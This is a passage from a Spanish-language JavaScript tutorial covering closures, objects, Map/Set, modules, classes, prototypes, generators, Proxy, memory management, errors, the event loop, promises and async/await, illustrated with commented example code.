  • Meses de Date: 0–11. Normaliza strings antes de comparar Unicode.

10 · Funciones y closures

Intermedio ~15 min

Las tres formas de crear funciones, this bajo control y el closure explicado con evidencia.

Tres formas de nacer

FormaEjemploRasgos
Declaradafunction suma(a, b) {...}Hoisting total: usable antes de su línea
Expresiónconst resta = function (a, b) {...}Se define al ejecutarse esa línea
Flechaconst mult = (a, b) => a * bSin this propio; implícita si es una expresión
// flecha con retorno implicito (una expresion) vs bloque
const doble = n => n * 2;
const validar = n => {
  if (n < 0) throw new RangeError("negativo");
  return n > 100 ? 100 : n;
};

Parámetros: defaults, rest y el patrón options

function conectar(url, { reintentos = 3, timeout = 5000 } = {}) {
  console.log(url, reintentos, timeout);
}
conectar("/api");                        // usa todos los defaults
conectar("/api", { timeout: 800 });      // sobrescribe solo lo enviado

function promedio(...numeros) {          // rest: cantidad variable
  return numeros.reduce((a, b) => a + b, 0) / numeros.length;
}
promedio(18, 15, 20);                    // 17.666...

this: la regla que separa flechas de normales

En funciones normales this depende de quién llama; en funciones flecha se hereda léxicamente del entorno donde se escribieron:

const timer = {
  segundos: 0,
  arrancar() {
    // metodo abreviado: this ES timer
    setInterval(() => {
      this.segundos++;              // flecha hereda este this: correcto
      if (this.segundos === 3) console.log("3s!");
    }, 1000);
  },
};

// Con funcion normal dentro de setInterval, this NO seria timer
// (seria undefined en modo estricto): bug clasico resuelto por flechas.

Closures: la función recuerda su cuna

Una función guarda acceso a las variables del ámbito donde fue creada, incluso cuando ese ámbito ya terminó:

function crearContador(inicial = 0) {
  let cuenta = inicial;             // vive en el closure
  return {
    incrementar: () => ++cuenta,
    valor: () => cuenta,
  };
}
const clicks = crearContador();
const likes = crearContador(100);
clicks.incrementar();               // 1
clicks.incrementar();               // 2
likes.valor();                      // 100 — cada closure tiene SU cuenta

El clásico de entrevistas: var contra let en bucles

// BUG clasico con var
for (var i = 0; i < 3; i++) setTimeout(() => console.log("var:", i));
// imprime 3, 3, 3 — todas comparten la MISMA i

// let crea un binding nuevo por vuelta
for (let j = 0; j < 3; j++) setTimeout(() => console.log("let:", j));
// imprime 0, 1, 2

Funciones puras y efectos

  • Pura: mismos argumentos ⇒ mismo resultado; no toca nada externo. Fácil de probar (cap. 38).
  • Impura: lee/escribe fuera (DOM, red, consola). Necesarias, pero conviene aislarlas.
// pura
const conIgv = monto => Math.round(monto * 1.18 * 100) / 100;

// impura: depende y muta el exterior
let carritoTotal = 0;
function agregarAlCarrito(monto) { carritoTotal += conIgv(monto); }

Puntos clave

  • Flecha: this léxico; método de objeto: this dinámico.
  • Defaults + desestructuración = patrón options legible.
  • Closure: cada invocación de fábrica conserva sus propias variables.
  • var en bucles asíncronos comparte índice: usa let.

11 · Objetos literales, Map y Set

Intermedio ~14 min

El objeto literal pulido, copias seguras y las colecciones especializadas (con las novedades ES2025 de Set).

Objeto literal moderno

const campo = "correo";
const visible = true;

const usuario = {
  nombre: "Ana",              // shorthand cuando clave = variable
  [campo]: "ana@3soft.pe",    // computed key
  visible,                    // shorthand de valor
  saluda() {                  // metodo abreviado (sin "function")
    return `Hola, soy ${this.nombre}`;
  },
};
usuario.nombre;               // punto: lo habitual
usuario["campo raro"];        // corchetes para claves con espacios o dinamicas

Referencias contra valores: la tabla que evita bugs

TipoAsignación copia…Ejemplo
Primitivosel valora = 1; b = a; b++ ⇒ a sigue 1
Objetos/arraysla referenciab = a; b.x = 2 ⇒ a.x también es 2
const original = { tema: "claro", fuentes: { base: 16 } };
const copia = { ...original };            // spread: copia SUPERFICIAL
copia.tema = "oscuro";                    // ok, no afecta al original
copia.fuentes.base = 20;                  // OJO: afecta a ambos!
console.log(original.fuentes.base);       // 20

// Copia profunda nativa (ES2022): structuredClone
const clon = structuredClone(original);
clon.fuentes.base = 24;
console.log(original.fuentes.base);       // 20 — intacto

Iterar objetos: keys, values, entries

const stock = { cafe: 12, te: 30, cacao: 7 };

Object.keys(stock);       // ["cafe","te","cacao"]
Object.values(stock);     // [12, 30, 7]
Object.entries(stock);    // [["cafe",12], ["te",30], ["cacao",7]]

for (const [producto, unidades] of Object.entries(stock)) {
  if (unidades < 10) console.warn(`reposicionar ${producto}`);
}

// reconstruir con transformacion
const duplicado = Object.fromEntries(
  Object.entries(stock).map(([k, v]) => [k, v * 2])
);

Map: el objeto mejorado

{ } literalMap
Clavessolo strings/symbolscualquier tipo (¡objetos!)
Tamañomanual (Object.keys().length).size directo
Iteraciónvia entries()iterable nativo, orden de inserción
JSONnativorequiere conversión manual
const cache = new Map();
cache.set({ id: 1 }, "resultado A");   // clave OBJETO
cache.set("config", { tema: "oscuro" });
cache.get("config");                   // {tema:"oscuro"}
cache.has("config");                   // true
cache.size;                            // 2

for (const [clave, valor] of cache) console.log(clave, valor);
cache.delete("config"); cache.clear();

Set y las operaciones ES2025

Set guarda valores únicos. Desde ES2025 trae álgebra de conjuntos nativa — adiós a los helpers de Lodash:

const backend = new Set(["js", "php", "sql"]);
const fullstack = new Set(["js", "ts"]);

backend.union(fullstack);                 // Set {js, php, sql, ts}
backend.intersection(fullstack);          // Set {js}
backend.difference(fullstack);            // Set {php, sql}
backend.symmetricDifference(fullstack);   // Set {php, sql, ts}
fullstack.isSubsetOf(backend);            // false

// deduplicar un array: el truco clasico
const conRepetidos = [1, 2, 2, 3];
[...new Set(conRepetidos)];               // [1, 2, 3]

¿Cuál uso?

  • Datos que viajarán en JSON ⇒ objeto literal.
  • Catálogos clave⇒valor dinámicos o claves no-string ⇒ Map.
  • Pertenencia sin duplicados ⇒ Set.
  • Vincular datos a objetos DOM sin contaminarlos ⇒ WeakMap (cap. 18).

Puntos clave

  • Shorthand y computed keys hacen el literal compacto.
  • Spread copia superficial: anidados comparten referencia.
  • structuredClone para copia profunda real.
  • Map para claves arbitrarias; Set + union/intersection (ES2025) para conjuntos.

12 · Módulos ES

Intermedio ~14 min

export/import en todas sus formas, barrel files y carga diferida con import().

Exportar: nombrado contra default

// utilidades.js
export function formatearSoles(n) {
  return new Intl.NumberFormat("es-PE", { style: "currency", currency: "PEN" }).format(n);
}
export const IGV = 0.18;

const redondear = (n) => Math.round(n * 100) / 100;
export { redondear };              // exportar al final tambien es valido
export default function despedir() { console.log("gracias por su compra"); }
NombradoDefault
Cantidad por archivomuchossolo uno
Importación{ nombre } — el nombre importacualquier alias
Ideal parabibliotecas de utilidadesel «principal» del módulo (una clase, un componente)

Importar: las cuatro variantes

import despedir from "./utilidades.js";                    // el default
import { IGV, redondear } from "./utilidades.js";           // nombrados
import { formatearSoles as soles } from "./utilidades.js";  // renombrar
import * as util from "./utilidades.js";                    // namespace

soles(19);            // S/ 19.00
util.redondear(1.005);
console.log(IGV);

Barrel file: una puerta para todo el dominio

// dominio/index.js — re-exporta lo publico
export { default as Producto } from "./producto.js";
export { default as Cliente } from "./cliente.js";
export { IGV } from "../utilidades.js";

// consumo limpio desde cualquier parte:
import { Producto, Cliente } from "./dominio/index.js";

import(): carga diferida bajo demanda

import estático se resuelve antes de ejecutar. La forma dinámica devuelve promesa y descarga el módulo solo cuando hace falta (code splitting):

botonReporte.addEventListener("click", async () => {
  const { generarPDF } = await import("./reportes/pesado.js");   // solo ahora
  await generarPDF(carrito);
});
// util para: graficos, exportaciones, rutas admin...
Circularidad: si A importa a B y B a A, ambos reciben referencias vivas pero posiblemente indefinidas durante la inicialización. Señal de diseño: extrae lo común a un módulo C. ESLint (import/no-cycle) lo detecta.

Reglas de oro

  • Ruta SIEMPRE con extensión (.js) y ./ o / — nunca "producto" a secas.
  • Módulo = ámbito propio: nada se filtra al window.
  • Ejecución única: aunque lo importen diez archivos, corre una vez (cache).
  • Los exports son vistas vivas: si cambias IGV, todos lo ven.

Puntos clave

  • Nombrado para utilidades; default para el protagonista del archivo.
  • Barrel index.js simplifica imports profundos.
  • import() dinámico = lazy loading nativo sin bundler.
  • Extensión obligatoria y ejecución única por módulo.

13 · Clases modernas

Intermedio ~14 min

Campos públicos y privados, getters/setters, estáticos y bloques static: la sintaxis completa.

// dominio/producto.js
export default class Producto {
  // campo de instancia con valor inicial
  stock = 0;

  // campo PRIVADO (#): inaccesible desde fuera
  #costo;

  // campo estatico: pertenece a la CLASE, no a instancias
  static contador = 0;

  constructor(sku, nombre, precio, costo) {
    this.sku = sku;
    this.nombre = nombre;
    this.precio = precio;
    this.#costo = costo;
    Producto.contador++;
  }

  get margen() {
    return ((this.precio - this.#costo) / this.precio).toFixed(2);
  }

  set precio(valor) {
    if (valor <= 0) throw new RangeError("precio positivo");
    this._precio = valor;
  }
  get precio() {
    return this._precio;
  }

  // metodo estatico: fabrica alternativa
  static desdeFila(fila) {
    return new Producto(fila[0], fila[1], fila[2], fila[3]);
  }

  // bloque static (ES2022): logica de inicializacion de la clase
  static {
    Producto.contador = 0;
  }

  describir() {
    return `${this.nombre} (S/${this.precio})`;
  }
}
// main.js
import Producto from "./dominio/producto.js";

const cafe = new Producto("CAF-01", "Café Chanchamayo", 24, 14);
cafe.stock = 40;
console.log(cafe.describir());   // Café Chanchamayo (S/24)
console.log(cafe.margen);        // "0.42"
// console.log(cafe.#costo);     // SyntaxError: private field
Producto.contador;               // 1

get/set: propiedades calculadas

  • Se usan como atributos (obj.margen) pero ejecutan código.
  • Ideales para validar al asignar (set precio) o derivar valores (get margen).
  • Regla práctica: si el getter hace trabajo pesado, mejor un método explícito.

¿Clase o objeto literal?

SituaciónHerramienta
Datos planos que viajan en JSONObjeto literal
Varias entidades con mismas operacionesClase
Estado que debe protegerse (campos #)Clase
Configuración puntualLiteral + desestructuración
instanceof: cafe instanceof Producto ⇒ true. Verifica la cadena de prototipos; la usaremos al heredar en el siguiente capítulo.

Puntos clave

  • #campo: encapsulación real, error duro si se accede desde fuera.
  • static: miembros de la clase; bloque static para inicializarla.
  • get/set = azúcar de acceso con validación incluida.
  • Literal para datos; clase para comportamiento + estado protegido.

14 · Herencia y composición

Intermedio ~14 min

extends/super bien usados, mixins funcionales y la regla que ordena todo: composición sobre herencia.

Herencia básica: extends y super

class Usuario {
  #clave;
  constructor(nombre, clave) {
    this.nombre = nombre;
    this.#clave = clave;
  }
  autentica(clave) { return clave === this.#clave; }
  etiqueta() { return this.nombre; }
}

class Administrador extends Usuario {
  constructor(nombre, clave, nivel) {
    super(nombre, clave);          // primero el padre, SIEMPRE
    this.nivel = nivel;
  }
  // override: redefinir comportamiento
  etiqueta() { return `${super.etiqueta()} (admin L${this.nivel})`; }

  borrar(id) { console.log(`borrando ${id} con permisos L${this.nivel}`); }
}

const root = new Administrador("Percy", "s3cr3t", 3);
root.etiqueta();                       // Percy (admin L3)
root.autentica("s3cr3t");              // true — heredado
root instanceof Usuario;               // true

Cuándo la herencia SE ROMPE

El ejemplo clásico: class Pato extends Robot porque ambos «caminan». Requisitos cruzados generan jerarquías imposibles (¿AdminAuditorSuperUsuario?).

Señales de alerta: más de 2 niveles de profundidad, overrides que vacían métodos del padre, o clases cuyo nombre lleva «Y» («AConB»). Ahí toca composición.

Composición: construir con piezas

// capacidades independientes como funciones factory
const conTimestamp = (obj) => ({
  ...obj,
  creadoEn: new Date(),
  marcaTiempo() { return Date.now(); },
});
const conSoftDelete = (obj) => ({
  ...obj,
  borradoEn: null,
  eliminarSuave() { this.borradoEn = new Date(); },
});

// ensamblar segun necesidad, no segun jerarquia
const base = { tabla: "posts", datos: {} };
const registro = conTimestamp(conSoftDelete(base));
registro.eliminarSuave();

// mixin formal sobre clases (patron usado por librerias)
const Serializable = (clase) => class extends clase {
  aJSON() { return JSON.stringify(this); }
};
class Carrito { constructor(items = []) { this.items = items; } }
class CarritoJSON extends Serializable(Carrito) {}
new CarritoJSON([{ sku: "A1" }]).aJSON();   // {"items":[...]}

Criterio de decisión

PreguntaSi sí ⇒
¿B ES UN A genuino e inmutable?Herencia (Administrador ES UN Usuario)
¿A PUEDE HACER X como capacidad opcional?Composición/mixin
¿Necesitas combinar N capacidades libremente?Composición

Puntos clave

  • super() antes de usar this en el constructor hijo.
  • Override + super.metodo() extiende sin duplicar.
  • Mixins con factory functions: capacidades combinables a la carta.
  • ES UN → herencia; PUEDE HACER → composición.

15 · Prototipos: la verdad bajo las clases

Avanzado ~13 min

La cadena de delegación real del lenguaje y por qué class es azúcar sintáctica.

JS no tiene clases al estilo Java por debajo: tiene prototipos. Cada objeto guarda un enlace oculto ([[Prototype]], visible como __proto__) hacia otro objeto. Al leer una propiedad ausente, el motor sube por esa cadena hasta encontrarla o llegar a null.

Dos palabras que confunden a todos

PalabraPertenece aEs…
.prototypefunciones (y clases)el objeto que recibirán sus instancias como __proto__
__proto__ / [[Prototype]]todos los objetosel enlace hacia el prototipo propio
class Animal {
  respirar() { return "inspirando"; }
}
const perro = new Animal();

perro.__proto__ === Animal.prototype;      // true
perro.respirar();                          // encontrado en Animal.prototype

// la cadena completa:
Object.getPrototypeOf(perro) === Animal.prototype;
Object.getPrototypeOf(Animal.prototype) === Object.prototype;
Object.getPrototypeOf(Object.prototype) === null;   // fin de la cadena

// class es una funcion por debajo
typeof Animal;                       // "function"

Búsqueda en acción: sombra y delegación

const base = { saludar() { return `hola, soy ${this.nombre}`; } };
const ana = { __proto__: base, nombre: "Ana" };
const luis = { __proto__: base, nombre: "Luis", saludar() {
  return `[invitado] ${base.saludar.call(this)}`;    // super casero
} };

ana.saludar();     // "hola, soy Ana"   — delega a base
luis.saludar();    // "[invitado] hola, soy Luis" — su version SOMBREA la del proto
ana.hasOwnProperty("saludar");   // false: es heredada
"nombre" in luis;                // true (propio o heredado)

Object.create: prototipos sin clases

// herencia directa entre objetos — util para plugins/config
const politicasBase = { maxIntentos: 3, timeoutMs: 5000 };
const politicasPago = Object.create(politicasBase);
politicasPago.moneda = "PEN";

politicasPago.maxIntentos;   // 3 (heredado)
politicasPago.moneda;        // "PEN" (propio)
Object.hasOwn(politicasPago, "timeoutMs");   // false — viene del proto

Equivalencias clase ⇄ prototipo

Sintaxis de claseEquivalente prototipal
metodo() {}Clase.prototype.metodo = function...
static m() {}propiedad directa de la función Clase
constructor(...)cuerpo de la function
extendsObject.setPrototypeOf + llamada al padre
#camposin equivalencia: privado real del lenguaje

Consejo profesional: piensa y ESCRIBE con clases; lee la cadena de prototipos cuando depures (por eso DevTools muestra [[Prototype]]).

Puntos clave

  • prototype vive en funciones/clases; __proto__ en cada objeto.
  • La lectura sube la cadena hasta null; la escritura crea propiedad propia.
  • class/extends son azúcar sobre esa cadena.
  • Object.create: composición directa de objetos sin ceremonias.

16 · Symbols, iterables y generadores

Avanzado ~15 min

El séptimo primitivo, el protocolo que mueve for...of y funciones que pausan su ejecución.

Symbol: claves únicas a prueba de colisiones

const nivel = Symbol("nivel");
const user = { nombre: "Ana", [nivel]: 3 };

user[nivel];                    // 3
Object.keys(user);              // ["nombre"] — los symbols son INVISIBLES aqui
Object.getOwnPropertySymbols(user);   // [Symbol(nivel)]

Symbol("x") === Symbol("x");    // false: cada symbol es unico

// registro global: mismo symbol en todo el programa
Symbol.for("rol") === Symbol.for("rol");   // true

Uso real: extender objetos/librerías sin riesgo de pisar claves existentes. Los «well-known symbols» (Symbol.iterator, Symbol.toPrimitive…) son los ganchos oficiales del lenguaje.

El protocolo iterable

for...of, spread, destructuring de arrays… todos piden un iterador mediante obj[Symbol.iterator](), que debe devolver un objeto con next():

class Playlist {
  #canciones = [];
  agregar(t) { this.#canciones.push(t); }
  [Symbol.iterator]() {
    let i = 0;
    const datos = this.#canciones;
    return { next: () => i < datos.length
      ? { value: datos[i++], done: false }
      : { value: undefined, done: true } };
  }
}
const pl = new Playlist();
pl.agregar("Flor de retama"); pl.agregar("Cariñito");
for (const cancion of pl) console.log(cancion);   // funciona!
[...pl];                                          // y el spread tambien

Generadores: iteradores con pausa incluida

Escribir next() a mano es tedioso. Un generador hace lo mismo con function* y yield: se suspende en cada yield y reanuda después:

function* fibonacci() {
  let a = 0n, b = 1n;
  while (true) {          // secuencia INFINITA sin agotar memoria
    yield a;
    [a, b] = [b, a + b];
  }
}
const fib = fibonacci();
fib.next().value;   // 0n
fib.next().value;   // 1n
fib.next().value;   // 1n
fib.next().value;   // 2n

// consumir solo lo necesario:
function* tomar(iterable, n) {
  let i = 0;
  for (const x of iterable) { if (i++ >= n) return; yield x; }
}
[...tomar(fibonacci(), 8)].map(String);
// ["0","1","1","2","3","5","8","13"]

yield*: delegar en otro generador

function* arbol(nodo) {
  yield nodo.valor;
  if (nodo.hijos) yield* nodo.hijos.flatMap(arbol);  // recursivo elegante
}
const arbolito = { valor: 1, hijos: [{ valor: 2 }, { valor: 3, hijos: [{ valor: 4 }] }] };
[...arbol(arbolito)];    // [1, 2, 3, 4]
  • Los iteradores helpers (map/filter/take perezosos sobre iterables) llegaron con ES2025 — los veremos en cap. 23.
  • Los async generators (for await) son la pieza clave para paginar APIs: cap. 22.

Puntos clave

  • Symbol: claves invisibles para Object.keys, únicas por definición.
  • Cualquier objeto con [Symbol.iterator] entra al ecosistema for...of/spread.
  • Generadores: secuencias infinitas y evaluación perezosa nativa.
  • yield* delega y compone generadores como tuberías.

17 · Metaprogramación: Proxy y Reflect

Avanzado ~14 min

Interceptar operaciones sobre objetos: validación, logging y la reactividad que usan los frameworks.

Un Proxy envuelve un objeto y te deja interceptar sus operaciones fundamentales (lectura, escritura, existencia, invocación…) mediante «traps». Reflect expone las mismas operaciones en versión función — el compañero natural para delegar al objeto original.

Traps principales

TrapIntercepta
get(objeto, prop)lecturas objeto.prop
set(objeto, prop, valor)asignaciones objeto.prop = x
has(objeto, prop)operador in
deletePropertydelete objeto.prop
applyllamadas a funciones proxyadas

Validación declarativa con set

function validar(esquema) {
  return new Proxy({}, {
    set(objetivo, prop, valor) {
      const regla = esquema[prop];
      if (!regla) throw new TypeError(`propiedad no permitida: ${String(prop)}`);
      if (!regla.prueba(valor)) throw new RangeError(`${String(prop)} invalido: ${valor}`);
      Reflect.set(objetivo, prop, valor);      // delega la escritura real
      return true;                              // set debe devolver true o lanza TypeError
    },
  });
}

const producto = validar({
  precio: { prueba: v => typeof v === "number" && v > 0 },
  nombre: { prueba: v => typeof v === "string" && v.trim().length > 0 },
});

producto.precio = 24;
producto.nombre = "Café";
// producto.precio = -1;   // RangeError: precio invalido: -1

Mini-store reactivo: la semilla de Vue

function reactivo(estado, alCambiar) {
  return new Proxy(estado, {
    set(objetivo, prop, valor) {
      const antes = objetivo[prop];
      if (antes !== valor) {
        Reflect.set(objetivo, prop, valor);
        alCambiar(prop, valor, antes);       // notificar suscriptores
      }
      return true;
    },
  });
}

const store = reactivo({ carrito: 0 }, (prop, nuevo) =>
  console.log(`redibujar badge ${prop}=${nuevo}`));
store.carrito = 1;    // redibujar badge carrito=1
store.carrito = 2;    // redibujar badge carrito=2
store.carrito = 2;    // silencio: mismo valor

Costos y límites honestos

  • Cada acceso pasa por el trap: hay sobrecosto — evita proxies en hot paths (bucles millones de veces).
  • No se pueden interceptar campos #privados ni igualdad.
  • DevTools muestra el proxy como target: depura con cuidado.
  • Para objetos planos simples, Object.defineProperty sigue siendo opción puntual.

Puntos clave

  • Proxy = interceptores; Reflect = delegación limpia al original.
  • set DEBE devolver true (o el motor lanza TypeError).
  • El store reactivo del ejemplo es el corazón conceptual de Vue 3.
  • Poder ≠ gratis: fuera de hot paths.

18 · Memoria: GC, WeakMap y WeakRef

Avanzado ~13 min

Cómo decide el recolector qué borrar, colecciones débiles y las fugas que todos cometen.

No gestionas memoria manualmente: el garbage collector libera objetos inalcanzables. La regla completa cabe en una línea: un objeto vive mientras exista algún camino de referencias desde las raíces (variables activas, DOM, timers…).

let pedido = { cliente: "Ana", total: 99 };
pedido = null;      // el objeto pierde su ultima referencia ⇒ elegible para GC

Fuerte contra débil

Tipo de referencia¿Mantiene vivo al objeto?Herramientas
Fuertevariables, arrays, Map, Set, closures
DébilNoWeakMap, WeakSet, WeakRef

WeakMap: metadatos sin secuestrar objetos

El caso estrella: asociar datos a nodos DOM sin impedir que se recojan cuando el DOM los elimine:

const tooltips = new WeakMap();
function registrarTooltip(el, texto) {
  tooltips.set(el, texto);       // clave DEBIL: si borras el nodo del DOM,
}                                // GC lo recoge junto a su entrada

// comparacion: const cache = new Map(); cache.set(el,...)
// con Map fuerte, cada nodo eliminado quedaria FUGADO para siempre.

// WeakMap ademas exige claves objeto y NO es iterable:
// exactamente lo que quieres para datos privados por instancia.
// (para privacidad simple de clase, usa campos # del capitulo 13)

WeakRef y FinalizationRegistry (con freno de mano)

// WeakRef: mirar SIN sostener
let imagenGrande = cargarImagen();       // recurso costoso
const ref = new WeakRef(imagenGrande);

function usar() {
  const img = ref.deref();               // undefined si GC ya la recogio
  if (!img) console.log("recurso liberado");
}

// FinalizationRegistry: aviso POST-mortem (no determinista!)
const limpiador = new FinalizationRegistry((etiqueta) =>
  console.log(`GC libero: ${etiqueta}`));
limpiador.register(imagenGrande, "imagen-hero");
imagenGrande = null;   // algun dia (sin promesa de cuando) llegara el aviso
Nunca dependas de ellos para lógica: el GC decide CUÁNDO según presión de memoria. Para liberar recursos reales (conexiones, streams) usa patrones explícitos: close()/dispose(), try/finally y —desde ES2026— declaraciones using (cap. 23).

Las cuatro fugas clásicas

  1. Listeners sin removeEventListener: componente removido pero su handler sigue anclado.
  2. Timers vivos: setInterval olvidado que captura objetos grandes.
  3. Cachés con Map fuerte: crecen eternamente (usa WeakMap o límite + LRU).
  4. Closures que capturan de más: devolver una función pequeña que arrastra un array enorme por referencia.

Diagnóstico: DevTools → Memory → Heap snapshot → comparar dos tomas tras reproducir la acción; los objetos «Detached» que crecen son tus sospechosos.

Puntos clave

  • Vive quien es alcanzable desde las raíces; nada más.
  • WeakMap/Set: claves débiles — perfectas para metadatos DOM y caches desmontables.
  • WeakRef/FinalizationRegistry son diagnóstico, no control de flujo.
  • Fuga típica #1: listeners y timers sin limpieza.

19 · Errores robustos

Avanzado ~14 min

La jerarquía Error, errores propios con cause, y la estrategia try/catch que no oculta bugs.

La familia Error

TipoCuándo aparece
Errorgenérico; base de todos
TypeErroroperación sobre tipo incorrecto (undefined.x, llamar no-función)
RangeErrorvalor fuera de rango válido (length negativa)
ReferenceErrorvariable no declarada / TDZ
SyntaxErrorcódigo no parseable (o JSON.parse fallido!)
AggregateErroragrupa varios (Promise.any agotada)
const e = new RangeError("stock negativo", { cause: { sku: "A1", stock: -2 } });
e.name;         // "RangeError"
e.message;      // "stock negativo"
e.cause;        // { sku: "A1", stock: -2 }  — contexto para logs (ES2022)
e.stack;        // donde se CREO el error

Errores de dominio propios

// dominio/errores.js
export class NegocioError extends Error {
  constructor(mensaje, opciones = {}) {
    super(mensaje, opciones);           // causa viaja al padre
    this.name = "NegocioError";
    this.codigo = opciones.codigo ?? "NEG-000";
  }
}

// uso
throw new NegocioError("stock insuficiente", {
  cause: { pedido: 7 },
  codigo: "NEG-409",
});
Regla del lenguaje: puedes lanzar cualquier cosa (throw "ups") — NUNCA lo hagas: sin stack ni name, imposible depurar. Solo objetos Error y subclases.

try / catch / finally con criterio

function cobrar(pedido) {
  try {
    validarStock(pedido);
    aplicarPago(pedido);
    return true;
  } catch (error) {
    if (error instanceof NegocioError) {
      mostrarAviso(error.message);       // esperado: informar al usuario
      return false;
    }
    throw error;                         // NO esperado: re-lanzar SIEMPRE
  } finally {
    console.debug("cobro intentado", pedido.id);   // corre incluso con throw
  }
}
  • catch vacío = bug enterrado. Si capturas algo, o lo manejas o lo re-lanzas.
  • Filtra por tipo (instanceof) antes de decidir qué hacer.
  • finally para liberar recursos; desde ES2019 catch puede omitir el binding: } catch {.

Dos categorías, dos estrategias

CategoríaEjemploEstrategia
Error de ENTRADA (esperable)JSON.parse de respuesta externa, usuario con datos rarostry/catch + mensaje útil
Error de PROGRAMADOR (bug)undefined.x, argumento mal tipado internamentedejarlo explotar y arreglar la causa raíz

Adelanto asíncrono

Un throw dentro de una promesa se convierte en rechazo: en async/await se captura con el mismo try/catch. Los detalles finos (combinadores, allSettled) son el capítulo 21.

Puntos clave

  • Solo lanza Error/subclases; cause lleva contexto a tus logs.
  • NegocioError: distinguir «esperado» de «bug» en un instanceof.
  • catch: maneja o re-lanza — nunca silencia.
  • Bugs de programador no se «capturan»: se corrigen.

20 · El event loop

Avanzado ~14 min

Un hilo, dos colas y el orden exacto en que JavaScript ejecuta tu código.

JavaScript es single-threaded: un solo call stack. Su magia es ser no bloqueante: las operaciones lentas (red, timers, disco) se delegan al entorno (Web APIs del navegador o libuv en Node) y su continuación vuelve por colas cuando el stack está vacío. El event loop es el vigilante que mueve ese tráfico.

Las dos colas

ColaQuién entraPrioridad
Microtaskscontinuaciones de promesas (.then/await), queueMicrotask, MutationObserverse VACÍA completa tras cada tarea
MacrotaskssetTimeout/setInterval, eventos DOM, I/O, setImmediate (Node)una a una, entre microtasks

El experimento canónico

console.log("1 script");

setTimeout(() => console.log("4 timeout"), 0);

Promise.resolve().then(() => console.log("3 promesa"));

console.log("2 fin script");

// Salida EXACTA:
// 1 script      (sync: stack)
// 2 fin script  (sync: stack)
// 3 promesa     (microtask: se vacia ANTES de cualquier timer)
// 4 timeout     (macrotask: aunque pida 0ms)
  1. El script corre entero (síncrono): imprime 1 y 2.
  2. Stack vacío ⇒ event loop vacía TODA la cola de microtasks: «3 promesa».
  3. Recién entonces toma la siguiente macrotask: «4 timeout». Un timeout de 0 ms nunca es inmediato: espera su turno.

Microtasks anidadas: el caso extremo

// PELIGRO: una microtask que encola otra microtask infinitamente
function bucleInfernal() {
  Promise.resolve().then(bucleInfernal);
}
// bucleInfernal();  // congela: los timers NUNCA corren
// Los macrotasks (setTimeout) si permiten respirar al loop.

Bloquear el loop = congelar la página

// NO hacer esto en el navegador:
function esperarPesado(ms) {
  const inicio = Date.now();
  while (Date.now() - inicio < ms) { /* girando */ }
}
// esperarPesado(3000);  // 3 segundos SIN clicks NI renders

// Alternativas reales: trocear con await new Promise(r => setTimeout(r)),
// o descargar a un Worker (capitulo 30).

En Node existe además setImmediate(), que corre tras I/O y compite con setTimeout(0) con matices de fase; y process.nextTick(), una microcola aún más prioritaria. Detalles prácticos en la parte VI.

Puntos clave

  • Un stack, microtasks primero, macrotasks después.
  • .then/await = microtask; setTimeout/eventos = macrotask.
  • timeout 0 ≠ inmediato: espera stack libre y turno.
  • Bucles síncronos largos congelan UI: trocea o usa Workers.

21 · Promises a fondo

Intermedio ~15 min

Estados, encadenamiento, los cuatro combinadores y withResolvers.

Una Promesa es un recibo por una operación en curso: garantiza que habrá un valor (cumplida) o un motivo de fallo (rechazada) — pero solo UNA vez. Sus tres estados son terminales e irreversibles: pending → fulfilled | rejected.

// crear una promesa "a mano"
const loteria = new Promise((resolve, reject) => {
  const premio = Math.random() < 0.5;
  setTimeout(() =>
    premio ? resolve({ monto: 100 }) : reject(new Error("sin suerte")),
    500);
});

loteria
  .then((r) => {
    console.log("ganaste S/", r.monto);
    return r.monto * 0.82;         // RETURN: alimenta el siguiente .then
  })
  .then((neto) => console.log("neto:", neto))
  .catch((error) => console.error(error.message))   // atrapa TODO lo de arriba
  .finally(() => console.log("sorteo terminado"));  // siempre corre
Bug nº1 de promesas: olvidar el return dentro de un .then — la cadena continúa con undefined y los datos «desaparecen».

Los cuatro combinadores

CombinadorResuelve cuando…Falla cuando…Uso típico
alltodas cumplenla primera que rechazatodo-o-nada (datos de página)
allSettledtodas terminan (bien o mal)nuncareportes parciales
racela primera en terminar (aunque falle)idemtimeouts
anyla primera CUMPLIDAtodas rechazan (AggregateError)fallbacks / espejos CDN
// patron timeout con race
function conTimeout(promesa, ms) {
  const vence = new Promise((_, reject) =>
    setTimeout(() => reject(new Error(`timeout ${ms}ms`)), ms));
  return Promise.race([promesa, vence]);
}

// allSettled: resultados etiquetados
const [stock, tipoCambio] = await Promise.allSettled([
  fetch("/api/stock").then(r => r.json()),
  fetch("/api/tc").then(r => r.json()),
]);
if (stock.status === "rejected") console.warn("stock caido, sigo igual");

Promise.withResolvers (ES2024)

Antes, exponer resolve/reject fuera del constructor exigía un baile de variables. Ahora viene de fábrica:

const { promise, resolve, reject } = Promise.withResolvers();

listenerExterno.on("listo", resolve);   // quien sea puede decidir el destino
listenerExterno.on("error", reject);
await promise;                          // y aqui se espera con elegancia

Promisificar callbacks antiguos

const esperar = (ms) => new Promise(resolve => setTimeout(resolve, ms));
await esperar(300);   // sleep nativo sin librerias

Puntos clave

  • Estado único e irreversible; .then devuelve nueva promesa.
  • Sin return dentro de then, la cadena se rompe silenciosamente.
  • all todo-o-nada; allSettled para informes completos; any para fallbacks.
  • withResolvers (ES2024) simplifica promesas controladas desde fuera.

22 · async / await profundo

Intermedio ~15 min

Azúcar seria sobre promesas: paralelismo correcto, iteración asíncrona y retry con backoff.

La base en tres reglas

  • async function SIEMPRE devuelve promesa.
  • await pausa esa función (no el hilo!) hasta resolver.
  • Los errores se capturan con try/catch normal — igual que código síncrono.
async function comprar(sku) {
  try {
    const r = await fetch(`/api/stock/${sku}`);
    if (!r.ok) throw new Error(`HTTP ${r.status}`);
    const { disponible } = await r.json();
    return disponible;
  } catch (error) {
    console.error("fallo compra:", error.message);
    return false;
  } finally {
    console.debug("compra evaluada");
  }
}

El error más caro: paralelo disfrazado de serie

// LENTO: secuencial — cada await espera al anterior (~300ms c/u)
const stock = await fetchStock();       // 300ms
const tipoCambio = await fetchTC();     // 300ms
// total ~600ms

// RAPIDO: paralelo — lanzar AMBAS, esperar ambas
const [stockP, tc] = await Promise.all([fetchStock(), fetchTC()]);
// total ~300ms

// REGLA: await solo cuando necesites el valor YA.
// Si no lo necesitas todavia: guarda la PROMESA y awaits juntos despues.
const pStock = fetchStock();            // arranca YA
const pTC = fetchTC();                  // arranca YA
const s = await pStock;
const t = await pTC;

for await...of y generadores asíncronos

